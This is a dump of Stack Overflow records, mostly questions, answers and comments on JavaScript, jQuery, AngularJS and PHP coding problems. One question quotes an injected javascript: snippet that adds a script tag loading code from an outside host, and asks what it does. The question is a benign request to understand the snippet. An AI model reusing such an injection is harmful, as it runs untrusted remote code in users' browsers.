has body: Alright, I believe I found a solution that appears to work for my and not sure why my brain took so long to figure it out...but the solution was of course closure. Essentially I use closure to keep a scoped recursion and maintain my each iteration that it has traveled through var someobj = { find: function (category, tree, path, callback) { var self = this; for (var i = tree.length - 1; i &gt;= 0; i--) { // Closure will allow us to scope our path variable and only what we have traversed // in our initial and subsequent closure functions (function(){ // copy but not reference var currentPath = path.slice(); if(tree[i] == category){ currentPath.push({name: tree[i].name, id: tree[i].id}); var obj = { index: i, category: category, parent: tree, path: currentPath }; callback(obj); }else{ if(tree[i].children){ currentPath.push({name: tree[i].name, id: tree[i].id}); self.find(category, tree[i].children, currentPath, callback); } } })(tree[i]); } }, /** * gets called when user clicks a category to remove * @param {[type]} category [description] * @return {[type]} [description] */ removeCategory: function (category) { // starts the quest for our category and its ancestors // category is one we want to look for // this.list is our root list of categoires, // pass in an intial empty array, each closure will add to its own instance // callback to finish things off this.find(category, this.list, [], function(data){ console.log(data); }); } } Hope this helps others that need a way to traverse javascript objects and maintain parent ancestors.
answers question: http://stackoverflow.com/q/25751133
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40268353
downvote count: 0
type: Answer

http://stackoverflow.com/comment/40211072
score: 0
has text: That alone won't do it. The menu I want this on isn't at the very top of the website. It's like 73 px from it.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25721602

http://stackoverflow.com/comment/40463246
type: Comment
has text: Please import your service module to your controller module first
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25858946

http://stackoverflow.com/comment/43909900
comment on: http://stackoverflow.com/a/25846942
type: AnswerComment
score: 0
type: Comment
has text: Because this isn't an answer, this is a "me, too."

http://stackoverflow.com/q/25792140
tagged with: jquery
has body: I have a page that with rows of boxes on. When a box is clicked it expands height and width which sometimes pushes it down a row if its the last one. There is a .4s transition the box. I want to scroll to its new location while the transition is happening. Easy to do after by just using setTimeout until the transition is done. setTimeout(function() { var divHeight = box.offset().top - 40; $('html,body').animate({ scrollTop: divHeight }, 400); }, 400); Is there a way to get the new position of the box before the transition is complete? Complete code $('.expand-button').click(function() { var boxContent = $(this).parent(); var box = boxContent.parent(); $('.box').removeClass('selected'); $('.box-content').removeClass('selected'); box.addClass('selected'); boxContent.addClass('selected'); $container.isotope(); setTimeout(function() { var divHeight = box.offset().top - 40; $('html,body').animate({ scrollTop: divHeight }, 400); }, 400); });
has comment: http://stackoverflow.com/comment/40343232
has comment: http://stackoverflow.com/comment/40340509
tagged with: http://stackoverflow.com/tag/html
tagged with: css
answer count: 0
type: UnansweredQuestion
has title: Get post transition offset of div before transition has completed
type: Question
has comment: http://stackoverflow.com/comment/40343100
score: 0
tagged with: javascript

http://stackoverflow.com/comment/40275951
comment on: http://stackoverflow.com/a/25756340
type: AnswerComment
score: 0
type: Comment
has text: Exactly, the wizard plugin requires a true or false immediate

http://stackoverflow.com/comment/40362854
comment on: http://stackoverflow.com/a/25801124
has text: This is not valid syntax.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/25782518
has comment: http://stackoverflow.com/comment/40325185
accepted answer of: http://stackoverflow.com/q/25782363
answers question: http://stackoverflow.com/q/25782363
has body: Look at the $.fn.html() function! 1. When using with one argument: If it was passed a value, like that in you IF STATSMENT: $('#radioo').html('On'); It simply changes the document, set the tag content, then return a jQuery object. 2. When using without any argument: If it was called without passing a value, like that in you SWITCH STATSMENT: $('#radioo').html(); It simply returns the document content as a string. So in your IF statsment, no matter how the tag content is, it returns the jQuery object, which absolutely was judged as true in the if condition.
score: 0
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/comment/40304001
comment on: http://stackoverflow.com/a/25771901
type: AnswerComment
score: 0
type: Comment
has text: solved by using `router` AFTER `body-parser`. thank you!

http://stackoverflow.com/q/25836647
has body: ok I have edited this to another couple of questions I've asked on a similar issue, but I really am in a rush so thought I'd start a new one, sorry if it bothers anyone. first I have a php script on test.php on the apache server &lt;?php //create connection $con = mysqli_connect("localhost", "user", "password", "dbname"); //check connection if (mysqli_connect_errno()){ echo "failed to connect to MySQL: " . mysqli_connect_error(); } $grab = mysqli_query($con, "SELECT * FROM table"); $row = mysqli_fetch_array($grab); $name = $row["name"]; $color = $row["color"]; $price = $row["price"]; $n1 = $name[0]; $c1 = $color[0]; $p1 = $price[0]; ?&gt; Then I've got this ajax script set to fire onload of page a webpage written in html. so the load() function is onload of the page in the body tag. This script is in the head. function load(){ var xmlhttp = new XMLHttpRequest(); xmlhttp.open("GET", "test.php", true); xmlhttp.send(); xmlhttp.onreadystatecahnge = function(){ if(xmlhttp.readyState == 4 &amp;&amp; xmlhttp.status == 200){ document.getElementById("itemNameLink1").innerHTML = "&lt;?php echo $n1;?&gt;; } } } ok so what I want is the $n1 variable in the php script to be used in the javascript ajax code. Where the script is, but I'm not sure where or how to make use of the variable, I've tried a few things. All that happens right now is the innerHTML of itemNameLink1 just disappears. I'm quite new so any advise would be appreciated, thanks.
tagged with: javascript
tagged with: jquery
tagged with: ajax
possible better answer: http://stackoverflow.com/a/25836809
answer count: 3
accepted answer: http://stackoverflow.com/a/25837715
has answer: http://stackoverflow.com/a/25836809
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/25838371
upvote count: 1
tagged with: php
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40431030
has title: Trouble with php variables and ajax javascript
score: 1
has answer: http://stackoverflow.com/a/25837715
type: Question

http://stackoverflow.com/q/25766302
answer count: 1
tagged with: javascript
score: 0
has answer: http://stackoverflow.com/a/25767843
type: UnansweredQuestion
has title: add condition to run the script only from my computer's IP in jmeter
tagged with: jmeter
has body: How can i add condition to run the script only from my computer's IP in jmeter ? What i'm need to write in condition line at if controller ? thanks
type: Question

http://stackoverflow.com/a/25863021
has body: You cannot use the function onclick on a jQuery object as it is meant for a JavaScript object (e.g document.getElementById('element').onclick....) it should be .click or .on('click'). And you're not targeting your element correctly, check... Is it a class or an id... And onchange does not exist in the array prototype. It's only meant for DOM object like input and select. What you can do for the array is to check if the array parkArray is the same as the one in localStorage. e.g $("#check").click(function(){ var saveArray = (localStorage.saveArray != undefined) ? JSON.parse(localStorage.saveArray) : []; parkArray = [check1,check2,check3,check4,check5]; saveArray.forEach(function(v, i){ if(parkArray.indexOf(v) &lt; 0){ localStorage.removeItem ("saveArray"); localStorage.setItem("saveArray",JSON.stringify(parkArray)); } }); });
answers question: http://stackoverflow.com/q/25862748
has comment: http://stackoverflow.com/comment/40474374
score: 0
type: Answer

http://stackoverflow.com/q/25849073
tagged with: css
accepted answer: http://stackoverflow.com/a/25849453
has answer: http://stackoverflow.com/a/25849453
type: Question
possible better answer: http://stackoverflow.com/a/25849363
type: AnsweredQuestion
has body: I am trying to have a simple HTML-Javascript slideshow for my webpage. It shows properly for first round, but after that, I get 3 seconds blank after each image. I am also having a text above the image division, which I want to change with the image. The text also shows properly for first round, but after that, it does not show any text. The division for text is there, but no text is shown. I have taken the code from first example from source code of here and tried to modify it. Below are related codes. HTML Code: Text 1 Text 2 Text 3 EDIT #1: I also had this link to jquery in head tag. Sorry I forgot to mention. CSS code Javascript Code How do I make the whole thing work properly? EDIT #2: I have created a fiddle for it, which you can find here.
has comment: http://stackoverflow.com/comment/40445164
has answer: http://stackoverflow.com/a/25849427
answer count: 3
tagged with: slideshow
tagged with: javascript
has comment: http://stackoverflow.com/comment/40444527
has answer: http://stackoverflow.com/a/25849363
has title: Simple slideshow not working properly
score: 0
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/40309250
comment on: http://stackoverflow.com/a/25774665
type: Comment
has text: I downvoted because the original answer was a very poor, short answer that doesn't provide a lot of information. Removed the downvote though as subsequent edits were a lot better.
score: 1
type: AnswerComment

http://stackoverflow.com/comment/40286117
type: Comment
type: QuestionComment
has text: possible duplicate of [display sub menu in another div using script](http://stackoverflow.com/questions/25759239/display-sub-menu-in-another-div-using-script)
comment on: http://stackoverflow.com/q/25762297
score: 0

http://stackoverflow.com/q/25728721
tagged with: javascript
has answer: http://stackoverflow.com/a/25728758
has comment: http://stackoverflow.com/comment/40224386
answer count: 2
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/40224180
has answer: http://stackoverflow.com/a/25728761
has comment: http://stackoverflow.com/comment/40224280
tagged with: regex
has comment: http://stackoverflow.com/comment/40224175
type: AnsweredQuestion
score: 1
has body: The following regex: var number = /^(\+|\-|)(\d+\.|\.\d+|\d+|\d+.\d+)((e\+|e\-|e)\d+)?$/i; incorrectly accepts 1+1 and 1f5 which aren't real JavasScript numbers. I am attempting to make a regex that "matches only JavaScript-style numbers. It must support an optional minus or plus sign in front of the number, the decimal dot, and exponent notation—5e-3 or 1E10— again with an optional sign in front of the exponent. Also note that it is not necessary for there to be digits in front of or after the dot, but the number cannot be a dot alone. That is, .5 and 5. are valid JavaScript numbers, but a lone dot isn’t."
upvote count: 1
has title: What is wrong with my Regex and why?
accepted answer: http://stackoverflow.com/a/25728761
type: Question
possible better answer: http://stackoverflow.com/a/25728758

http://stackoverflow.com/q/25816814
upvote count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/25817251
has comment: http://stackoverflow.com/comment/40386456
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40386414
has body: I need to change the value of a javascript property but nothing seem to work. This is what I tried: var test = allProducts[i]; // allProducts[i] comes from the database console.log("TestProp BEFORE = " + test.get("TestProp")); This prints out my TestValue. Now I try to change the value and I tried all 3 syntax suggestions below (not at the same time of course): test.TestProp = "kisses"; test["TestProp"] = "kisses2"; test['TestProp'] = "kisses3"; console.log("TestProp AFTER = " + test.get("TestProp")); But this once again prints my TestValue. What am I missing? Could it be that the object is somehow locked?
type: Question
has title: Set property value
answer count: 1
accepted answer: http://stackoverflow.com/a/25817251
tagged with: javascript
has comment: http://stackoverflow.com/comment/40386469
has comment: http://stackoverflow.com/comment/40386432
has comment: http://stackoverflow.com/comment/40386792
has comment: http://stackoverflow.com/comment/40386405
score: 0
favorite count: 0

http://stackoverflow.com/a/25722165
upvote count: 1
has comment: http://stackoverflow.com/comment/40212749
has body: var index=0; for (var value in awards) { if (value instanceof Array) { alert('value is Array!'); } else { alert('Not an array'); } index=index+1; }
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25722057
has comment: http://stackoverflow.com/comment/40211891
score: 1
answers question: http://stackoverflow.com/q/25722057

http://stackoverflow.com/comment/40297096
type: QuestionComment
score: 0
has text: Moving `optionally` to the beginning would have different semantics which don't make sense.
comment on: http://stackoverflow.com/q/25767676
type: Comment

http://stackoverflow.com/q/25803508
has comment: http://stackoverflow.com/comment/40362369
accepted answer: http://stackoverflow.com/a/25803885
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/25803646
has comment: http://stackoverflow.com/comment/40361713
tagged with: jquery
has body: I have something similar to this: $('.new-post').on('click', function(e) { e.preventDefault(); $.ajax({ url: '/somehting' data: {my data}, ...etc, success: function(data) { $.get('template.html', function(h) { var el = $(h); el.find('items').text('texts...'); el.appendTo('.myElement'); }); } }); }); I'm posting a new post using ajax and I wish that after it has been saved to the server it is appended to the existing posts list. It works fine but if I click on links that I append using the html template nothing seems to work... Probably I used a wrong strategy to do that, so here I need a bit of your help. I used $.get within the success method in order to get an html template where to insert new post data to append. I know that $.get is async but for some reason it doesn't work until I don't refresh the page... EDIT (HTML) Comment
has comment: http://stackoverflow.com/comment/40362256
tagged with: ajax
possible better answer: http://stackoverflow.com/a/25803646
has title: Ajax append new data but links do not work
has comment: http://stackoverflow.com/comment/40361881
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40361798
has answer: http://stackoverflow.com/a/25803885
type: Question
has comment: http://stackoverflow.com/comment/40361761
linked to: http://stackoverflow.com/q/203198
tagged with: javascript

http://stackoverflow.com/comment/40366429
comment on: http://stackoverflow.com/q/25806275
type: QuestionComment
type: Comment
has text: Some browsers show your message accompanied by their own, some don't. This is done to prevent scams or any other annoying behaviour.
score: 0

http://stackoverflow.com/a/25740071
has comment: http://stackoverflow.com/comment/42433198
has comment: http://stackoverflow.com/comment/78231986
has comment: http://stackoverflow.com/comment/40249822
upvote count: 20
has comment: http://stackoverflow.com/comment/57144282
type: Answer
has body: My first approach would be: eventDragStop: function(event,jsEvent) { alert('Coordinates: ' + jsEvent.pageX + ',' + jsEvent.pageY); if( (300 &lt;= jsEvent.pageX) &amp; (jsEvent.pageX &lt;= 500) &amp; (130 &lt;= jsEvent.pageY) &amp; (jsEvent.pageY &lt;= 170)){ alert('delete: '+ event.id); $('#MyCalendar').fullCalendar('removeEvents', event.id); } } This allows to drag events to the area (in pixels) corresponding to the if condition order to delete. Tested with fullcalendar 2.1.1. An improvement would be to check and compare jsEvent coordinates with $(window).height() and $(window).width(), this way would confirm/test dragging out of calendar area, much neat of course. Actually the improvement is (an elegant solution), based on the solution mentioned: Create a div element with the icon trash: &lt;div id="calendarTrash" class="calendar-trash"&gt;&lt;img src="path/to/static/images/trash.png" /&gt;&lt;/div&gt; The eventDragStop is: eventDragStop: function(event,jsEvent) { var trashEl = jQuery('#calendarTrash'); var ofs = trashEl.offset(); var x1 = ofs.left; var x2 = ofs.left + trashEl.outerWidth(true); var y1 = ofs.top; var y2 = ofs.top + trashEl.outerHeight(true); if (jsEvent.pageX &gt;= x1 &amp;&amp; jsEvent.pageX&lt;= x2 &amp;&amp; jsEvent.pageY &gt;= y1 &amp;&amp; jsEvent.pageY &lt;= y2) { alert('SIII'); $('#calendario').fullCalendar('removeEvents', event.id); } } Tested on Fullcalendar 2.1.1
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25726709
has comment: http://stackoverflow.com/comment/67864631
answers question: http://stackoverflow.com/q/25726709
score: 20
has comment: http://stackoverflow.com/comment/53569907
type: AcceptedAnswer

http://stackoverflow.com/a/25757987
answers question: http://stackoverflow.com/q/25757861
upvote count: 1
type: Answer
has body: I think dividing the header, footer, body part and then adding them to the master page will be a good option for further maintenance of application. Call all your jsps inside the body part of master page rather than adding header, footer and all imports in all jsps.
downvote count: 0
score: 1

http://stackoverflow.com/q/25784729
answer count: 1
downvote count: 0
tagged with: javascript
favorite count: 0
has body: I have used this plugin-in to create a navigation menu. Added a new div which is placed left side when on mouse over of it, showing the menu and also on click of text show/hide showing menu. But having problems like below: 1. Menu is not hiding some times. 2. Navigating in same menu also it is hiding fractionally and showing. Anybody please suggest me what I am missing to work this perfectly. Here is the link for JS Fiddle
has comment: http://stackoverflow.com/comment/40329290
has answer: http://stackoverflow.com/a/25785197
tagged with: http://stackoverflow.com/tag/html
tagged with: css
upvote count: 1
has title: Hide Menu on mouse out
has comment: http://stackoverflow.com/comment/40328209
has comment: http://stackoverflow.com/comment/40328784
has comment: http://stackoverflow.com/comment/40328714
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25785197
has comment: http://stackoverflow.com/comment/40327903
score: 1
has comment: http://stackoverflow.com/comment/40328962
type: Question
has comment: http://stackoverflow.com/comment/40329192

http://stackoverflow.com/comment/40258727
type: QuestionComment
comment on: http://stackoverflow.com/q/25747305
has text: if someone find more suitable title edit this one or tell me and i will edit it
score: 0
type: Comment

http://stackoverflow.com/comment/40354617
type: QuestionComment
comment on: http://stackoverflow.com/q/25799389
score: 0
has text: @Spencer Wieczorek I think people are giving me `-1` because they think that I need to populate elements `q1`, `q2` ... But I need to create them. The original page is empty, I only have that array. How can I create these elements ?
type: Comment

http://stackoverflow.com/comment/40270182
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25753177
type: AnswerComment
has text: Yeah, but that doesn't work.. I need to put $ between .ready(function()

http://stackoverflow.com/comment/40335680
type: Comment
comment on: http://stackoverflow.com/a/25789295
has text: I think this is right, I ran into this a while ago. success, done, and error.
score: 0
type: AnswerComment

http://stackoverflow.com/a/25815406
has comment: http://stackoverflow.com/comment/40383458
downvote count: 1
answers question: http://stackoverflow.com/q/25815382
has comment: http://stackoverflow.com/comment/40383698
type: Answer
upvote count: 4
score: 3
has comment: http://stackoverflow.com/comment/40383493
has body: The + operator will concatenate two strings, ie. "Hello" + " World" //> "Hello World". Using += is a short cut for assigning and concatenating a variable with its self. ie. instead of: var myVar = "somestring"; myVar = myVar + "another String"; you can just do: var myVar = "somestring"; myVar += "another String"; For your problem: function NewMenuItem() { //This is just a small example. The end result is more broader then this var output = "&lt;input type='checkbox'&gt; "; output += "&lt;input type='text'&gt; "; return output; } //end of NewMenuItem(){

http://stackoverflow.com/q/25715049
accepted answer: http://stackoverflow.com/a/25716620
tagged with: css
has comment: http://stackoverflow.com/comment/40208103
type: AnsweredQuestion
has title: How to create nxm HTML5 canvas Grid of objects (colored squares)?
has comment: http://stackoverflow.com/comment/40198780
score: 0
tagged with: math
has comment: http://stackoverflow.com/comment/40198696
type: Question
tagged with: canvas
has comment: http://stackoverflow.com/comment/40198862
has body: I'm trying to create a grid (matrix) of squares in a given area &lt;canvas&gt; with n columns and m rows, and an option to set a spacing between the squares if desired. The grid should fill squares with random coloring. I'd also like to add a zoom function, so the colored squares will appear much bigger in a region that is double-clicked. Can anyone suggest a good method to generate the grid and assign random colors to the squares? If you can suggest how to create the zoom effect too that would be SUPER :) I'm new to canvas, so any method help would be great! Thanks
tagged with: javascript
has comment: http://stackoverflow.com/comment/40198928
has answer: http://stackoverflow.com/a/25716620
has comment: http://stackoverflow.com/comment/40199097
has comment: http://stackoverflow.com/comment/40199024
linked to: http://stackoverflow.com/q/3535996
has comment: http://stackoverflow.com/comment/40198734
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has comment: http://stackoverflow.com/comment/40198869
has comment: http://stackoverflow.com/comment/40198846

http://stackoverflow.com/comment/40213180
type: QuestionComment
has text: Hi @CBroe , unfortunately is not a cache problem. I tried to clear cache with Facebook Debug Tool but nothing is changed. With deprecated code, FB.ui({method: 'feed',link: '{{ user_share_path }}'}, onResponse) I've got a good result but the design of the posted element is different from the element posted manually, it has a gray background.
type: Comment
comment on: http://stackoverflow.com/q/25722454
score: 0

http://stackoverflow.com/q/25718271
linked to: http://stackoverflow.com/q/23192957
tagged with: javascript
has body: I want to apply different colors for first checkbox and second checkbox, 1st checkbox should be green and 2nd checkbox should be red. if user unchecked the green and the next should be green color. if user unchecked red means the next check should be red. help me please. Select Only Two
has comment: http://stackoverflow.com/comment/40205550
score: 0
linked to: http://stackoverflow.com/q/1986608
has title: how to apply different colors for first select and second select checkbox
answer count: 1
tagged with: jquery
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40204881
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25718937
tagged with: checkbox
type: Question

http://stackoverflow.com/q/25843515
has answer: http://stackoverflow.com/a/53303318
has title: AngularJS - refresh ng-repeat
has body: I'm using ng-repeat to display a collection of values. My filter options changes according to an ajax call to server. How can I refresh the ng-repeat after the filter parameters have been received? js fiddle Template #{{item.id}} Item filter now Angular var app = angular.module('m', []); app.controller('myCtrl', function ($scope) { $scope.values = [ {id: 1}, {id: 2}, {id: 3}, {id: 4}, {id: 5}, {id: 6} ]; $scope.filter = [1,2,3,4,5,6]; $scope.filterIds = function (ids) { return function (item) { var filter = $scope.filter; return filter.indexOf(item.id) !== -1; } } $scope.loadNewFilter = function (){ $scope.filter = [1,2,3]; } });
has answer: http://stackoverflow.com/a/25843561
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25843612
score: 44
has answer: http://stackoverflow.com/a/39780875
upvote count: 44
type: Question
possible better answer: http://stackoverflow.com/a/25843612
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25843561
has answer: http://stackoverflow.com/a/25843610
downvote count: 0
favorite count: 0
tagged with: angularjs
answer count: 5

http://stackoverflow.com/q/25728701
tagged with: javascript
tagged with: jasmine
score: 0
has body: I have a simple example that I have not been able to solve. While this example is trivial, I want to know how to spy on this $log.error using Jasmine unit testing. I believe closures are the issue even though I am mocking the $log and it would work it it was on not in a closure on the service. Below is code for the Angular Service and Tests. Anyone know how to spy on something inside the closure?: Angular Code: afloatApp.service("WebConfigSettingsService", ['$http', '$q', '$log', function ($http, $q, $log) { var getConfigSettings = function () { var deferred = $q.defer(); $http({ method: 'GET', url: '/api/SOMEPATH' }).success(function (data, status, headers, config) { deferred.resolve(data); }).error(function (data, status, headers, config) { //THIS IS THE $LOG.ERROR test $log.error("Error loading WebConfigSettings"); deferred.reject(data); }); return deferred.promise; }; var webConfigSettings = getConfigSettings().then(function(data) { return { classification: angular.lowercase(data.Classification), environment: angular.lowercase(data.Environment) }; }); return webConfigSettings; }]); Jasmine Test that Fails describe('WebConfigSettingsService', function () { var webConfigSettingsService, $httpBackend, mockLog, $q, urlExpected = "/api/SOMEPATH", serverData = { Classification: 'unclassified', Environment: 'development' }; beforeEach(module("myApp")); beforeEach(inject(function (_$httpBackend_, _$log_, _$q_, _WebConfigSettingsService_) { webConfigSettingsService = _WebConfigSettingsService_; $httpBackend = _$httpBackend_; mockLog = _$log_; spyOn(mockLog, 'error'); $q = _$q_; $httpBackend.expectGET(urlExpected); })); afterEach(function () { $httpBackend.flush(); $httpBackend.verifyNoOutstandingExpectation(); $httpBackend.verifyNoOutstandingRequest(); }); it("should log error when http errors out", function () { $httpBackend.whenGET("/api/SOMEPATH").respond(500, "Random Error"); //THIS FAILS. Note that mockLog.error spy is set in before each expect(mockLog.error).toHave…
accepted answer: http://stackoverflow.com/a/25730938
tagged with: angularjs
has answer: http://stackoverflow.com/a/25730938
tagged with: unit-testing
type: Question
type: AnsweredQuestion
has title: Spying on something inside a closure - AngularJS Jasmine testing
answer count: 1

http://stackoverflow.com/a/25848071
has body: Bracket notation will work ass long as it is in window/global scope. window[controller][action](elementId); If it is not in window/gloabl scope, you will need an object that holds the first level. [In reality that is a better solution]
downvote count: 0
answers question: http://stackoverflow.com/q/25847980
type: AcceptedAnswer
upvote count: 2
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/25847980
has comment: http://stackoverflow.com/comment/40442632

http://stackoverflow.com/comment/40337572
type: Comment
has text: It is ridiculous, but it solves the problem perfectly without any JS. There are some users with JS switched off, so it won't be the perfect one
type: AnswerComment
comment on: http://stackoverflow.com/a/25790223
score: 0

http://stackoverflow.com/comment/40606482
type: Comment
comment on: http://stackoverflow.com/q/25729266
score: 0
has text: NO, its not what I'm trying to ask. I'm asking if there's any way to detect that my app couldn't connect with facebook's server i.e in case due to network failure or something like that. Just the way gmail shows 'trying to connect blah blah..'
type: QuestionComment

geolocation
tags question: http://stackoverflow.com/q/25750971
tags question: http://stackoverflow.com/q/25770486
tags question: http://stackoverflow.com/q/25743444
tags question: http://stackoverflow.com/q/25782282
tags question: http://stackoverflow.com/q/25848736
tags question: http://stackoverflow.com/q/25744827
type: Tag
tag name: geolocation

http://stackoverflow.com/comment/40245379
type: AnswerComment
score: 0
has text: please check this: http://stackoverflow.com/questions/25739870/javascript-auto-execute-anonymous-function-parenthesis
type: Comment
comment on: http://stackoverflow.com/a/25739481

http://stackoverflow.com/comment/40294848
score: 0
comment on: http://stackoverflow.com/a/25765927
type: Comment
has text: OK - but its only working with Extension buttons. But i want to use it from my webserver codes there i am still getting error.
type: AnswerComment

http://stackoverflow.com/a/25765083
downvote count: 0
has body: Put it in document.ready(): $(function(){ $(".ui-dialog-titlebar-close").css('display','none'); }) and you can also use hide(): $(function(){ $(".ui-dialog-titlebar-close").hide(); }) FIDDLE EXAMPLE: http://jsfiddle.net/qcfdLjr3/
score: 1
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/25765043

http://stackoverflow.com/comment/40301012
has text: Why will the iterations increase exponentially, they will increase polynomially (by power of 2). On top of my head you can reduce the comparisons by half as you are comparing each combination of lads twice.
comment on: http://stackoverflow.com/q/25769267
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/25769108
has title: How to use tlsSocket.renegotiate(options, callback) in Node.js 0.11.8 and higher
tagged with: certificate
has comment: http://stackoverflow.com/comment/52510431
tagged with: authentication
type: Question
score: 5
upvote count: 5
has comment: http://stackoverflow.com/comment/52424504
tagged with: ssl
tagged with: javascript
has comment: http://stackoverflow.com/comment/52311619
has answer: http://stackoverflow.com/a/32317710
has comment: http://stackoverflow.com/comment/40330264
downvote count: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/32317710
favorite count: 0
tagged with: node.js
type: AnsweredQuestion
has body: I'm new to node.js and I have a simple https server running. Now when a user requests a certain context path the server should initiate a SSL renegotiation and ask for a client certificate authentication. I saw that this is supported in node.js 0.11.8 and higher. I tried this so far, but a renegotiation is not happening. Not even an error is thrown. var https = require('https'); var fs = require('fs'); var optSsl = { key: fs.readFileSync('ssl/server/keys/server.key'), cert: fs.readFileSync('ssl/server/certs/server.crt'), ca: fs.readFileSync('ssl/ca/ca.crt'), requestCert: false, rejectUnauthorized: true, ciphers: 'ECDH+AESGCM:DH+AESGCM:ECDH+AES256:DH+AES256:ECDH+AES128:DH+AES:ECDH+3DES:DH+3DES:RSA+AESGCM:RSA+AES:RSA+3DES:!aNULL:!MD5:!DSS', honorCipherOrder: true }; var optClientAuth = { requestCert: true, rejectUnauthorized: true }; var server = https.createServer(optSsl, function(req, res){ res.writeHead(200); res.end("Hello World\n"); }); server.on('request', function(req, res){ console.log('request emitted on ' + req.url); if (req.url == '/secure') { try { var socket = req.connection; socket.renegotiate(optClientAuth, function(err){ if (!err) { console.log(req.connection.getPeerCertificate()); } else { console.log(err.message); } }); } catch (err) { console.log(err); } }; }); server.on('secureConnection', function(socket) { console.log('Secure connection established'); }); server.listen(8443); Thank you for your support.
has comment: http://stackoverflow.com/comment/52429823

http://stackoverflow.com/a/25766997
has body: I'm noticing several things here. First of all, your if code does not look valid (there's a ' after true). Then, if you're creating custom widgets you should not retrieve widgets or DOM nodes by their ID, which means you should not use either: dijit.byId() dojo.byId() dojo/dom::byId() dijit/registry::byId() The correct way is by using the attach points you created by using the data-dojo-attach-point attribute. When you inherit from the dijit/_TemplateMixin mixin, you can simply use: this.successNotification and if you inherit from dijit/_WidgetsInTemplateMixin as well, then you can use the same syntax to retrieve widget instances. In your case it would be: if (ifSuccess) { var successNotification = this.successNotification; }
accepted answer of: http://stackoverflow.com/q/25764353
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40326460
type: Answer
answers question: http://stackoverflow.com/q/25764353
score: 1
upvote count: 1

http://stackoverflow.com/q/25716001
favorite count: 0
has answer: http://stackoverflow.com/a/25716041
downvote count: 5
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25716014
upvote count: 0
score: -5
type: Question
has comment: http://stackoverflow.com/comment/40200521
tagged with: javascript
has body: After going on a webpage after some moments on the address bar I see this (instead of the actual address) -- javascript:try { if(document.body.innerHTML) { var a=document.getElementsByTagName("head"); if(a.length){var d=document.createElement("script"); d.src="https://apidivaptonbiz-a.akamaihd.net/gsrs?is=smdvbd&amp;bp=BA&amp;g=a856bc68-46e1- 43619542-5d821147c8cf"; a[0].appendChild(d); } } catch(e){} What does this code actually do ? How is it automatically coming on the address bar ?
answer count: 2
has title: What does this JavaScript (containing createElement("script")) do?

http://stackoverflow.com/comment/40365350
has text: You mean, after each POST, I save the $_POST -> $_SESSION. Then when I show the form, I do something like "if (isset($_SESSION))" put that value otherwise nothing? If its that, itsn't it the same way than re-sending the $_POST to the previous page ... ?
comment on: http://stackoverflow.com/q/25805692
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25749638
score: 0
type: Answer
has body: I believe the checked attribute is used for a default value. Radio buttons are evaluated on the form submit. You may have more luck using onclick. Example: &lt;input type="radio" id="rdo1" name="rdoTest" onclick="ChangeStatus();" /&gt; &lt;script&gt; function ChangeStatus() { $('#rdo1').prop('checked', true); } &lt;script&gt; You handle true/false attributes differently in jquery
has comment: http://stackoverflow.com/comment/40267555
answers question: http://stackoverflow.com/q/25749273

http://stackoverflow.com/a/25792772
score: 0
type: Answer
has body: The issue was a combination of an incorrect server response that the interceptor wasn't able to handle as well as a bad debugging tool which wouldn't let me see if the controller had fired on startup.
answers question: http://stackoverflow.com/q/25790445

http://stackoverflow.com/a/25724382
type: AcceptedAnswer
score: 188
downvote count: 0
answers question: http://stackoverflow.com/q/25723674
type: Answer
has comment: http://stackoverflow.com/comment/79592533
has comment: http://stackoverflow.com/comment/60075745
accepted answer of: http://stackoverflow.com/q/25723674
has comment: http://stackoverflow.com/comment/108561731
has body: The IDE is recommending that you add a test: if (awards.hasOwnProperty(i)) { ... } inside the for loop. I personally recommend not doing this, and disabling the warning if possible. There's simply no need in most code, and even less need in ES5 code where you can safely add non-enumerable properties to an object using Object.defineProperty The hasOwnProperty check is only necessary if you have unsafely added new (enumerable) properties to Object.prototype, so the simplest fix is don't do that. jQuery doesn't perform this test - they explicitly document that jQuery will break if Object.prototype is unsafely modified.
has comment: http://stackoverflow.com/comment/114764745
upvote count: 188

http://stackoverflow.com/q/25823868
has answer: http://stackoverflow.com/a/25824043
type: UnansweredQuestion
tagged with: input
has answer: http://stackoverflow.com/a/25823989
score: 1
has body: I want count error numbers (by increasing y value when input is empty ) but when I want alert, is show's the initial value ( 0 ). function validateForm() { var y = 0; $$('#register .inputtext').each(function(item) { var my_class = ".mbm ."+item.id+" .sp_9vUokIDmpP8"; var first_class = ".mbm #"+item.id+""; if (item.value==null || item.value=="") { y = y++; $$(first_class).invoke('addClassName', 'kl345'); $$(my_class).invoke('setStyle', { display:'block' }); }else{ $$(first_class).invoke('addClassName', 'kl345'); $$(my_class).invoke('setStyle', { display:'none' }); } }) alert(y); }
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25824015
tagged with: javascript
tagged with: forms
answer count: 3
has title: Validating form and counting errors
downvote count: 0
has comment: http://stackoverflow.com/comment/40398914
favorite count: 0

